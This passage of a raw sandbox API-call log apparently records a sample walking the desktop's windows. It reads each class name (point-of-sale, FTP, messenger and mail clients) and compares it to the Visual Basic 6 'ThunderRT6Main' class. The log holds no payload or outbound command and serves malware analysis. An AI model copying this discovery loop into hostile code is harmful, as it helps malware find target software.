0xa6c [0148.110] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0148.110] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0148.110] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0148.110] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0148.110] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0148.110] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0148.110] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0148.110] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0148.110] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0148.110] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0148.110] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0148.111] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0148.111] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0148.111] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0148.111] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.111] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0148.111] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0148.111] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0148.111] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0148.111] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0148.111] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.111] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0148.111] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0148.111] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0148.111] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0148.111] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0148.111] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.111] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0148.111] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0148.111] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0148.111] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0148.111] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0148.112] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0148.112] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.112] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.112] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0148.112] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0148.112] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0148.112] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0148.112] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0148.112] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0148.112] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.112] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.112] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0148.112] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0148.112] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0148.112] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0148.112] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0148.112] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0148.112] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.112] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.112] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0148.112] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0148.112] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0148.112] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0148.113] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0148.113] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0148.113] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0148.113] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0148.113] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0148.113] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0148.113] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0148.113] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0148.113] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0148.113] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0148.113] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0148.113] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0148.113] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0148.113] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0148.113] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0148.113] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0148.113] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0148.113] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.113] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0148.114] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0148.114] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0148.114] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0148.114] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0148.114] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0148.114] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0148.114] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0148.114] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0148.114] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0148.114] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0148.114] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0148.114] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0148.114] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0148.114] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0148.114] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.114] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.114] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0148.114] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0148.114] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0148.115] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0148.115] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0148.115] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0148.115] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0148.115] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0148.115] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0148.115] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0148.115] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0148.115] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0148.115] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0148.115] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0148.115] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0148.115] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.115] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0148.115] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0148.115] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0148.115] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0148.115] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0148.115] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0148.115] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0148.116] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0148.116] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0148.116] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0148.116] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0148.116] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0148.116] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0148.116] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0148.116] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0148.116] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0148.116] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0148.116] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0148.116] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0148.116] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0148.116] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0148.116] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.116] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0148.116] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0148.116] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0148.117] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0148.117] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0148.117] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0148.117] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0148.117] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0148.117] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0148.117] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0148.117] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0148.117] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0148.117] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0148.117] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0148.117] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0148.117] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.117] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0148.117] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0148.117] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0148.117] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0148.117] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0148.117] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0148.117] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0148.118] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0148.118] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0148.118] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0148.118] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0148.118] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0148.118] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0148.118] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0148.118] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0148.118] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0148.118] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0148.118] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0148.118] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0148.118] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0148.118] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0148.118] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.118] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0148.118] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0148.119] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0148.119] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0148.119] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0148.119] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.119] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0148.119] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0148.119] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0148.119] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0148.119] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0148.119] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.119] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0148.119] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0148.119] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0148.119] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0148.119] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0148.119] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.119] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0148.119] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0148.119] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0148.119] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0148.119] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0148.119] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0148.120] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.120] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0148.120] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0148.120] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0148.120] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0148.120] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0148.120] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0148.120] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.120] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") 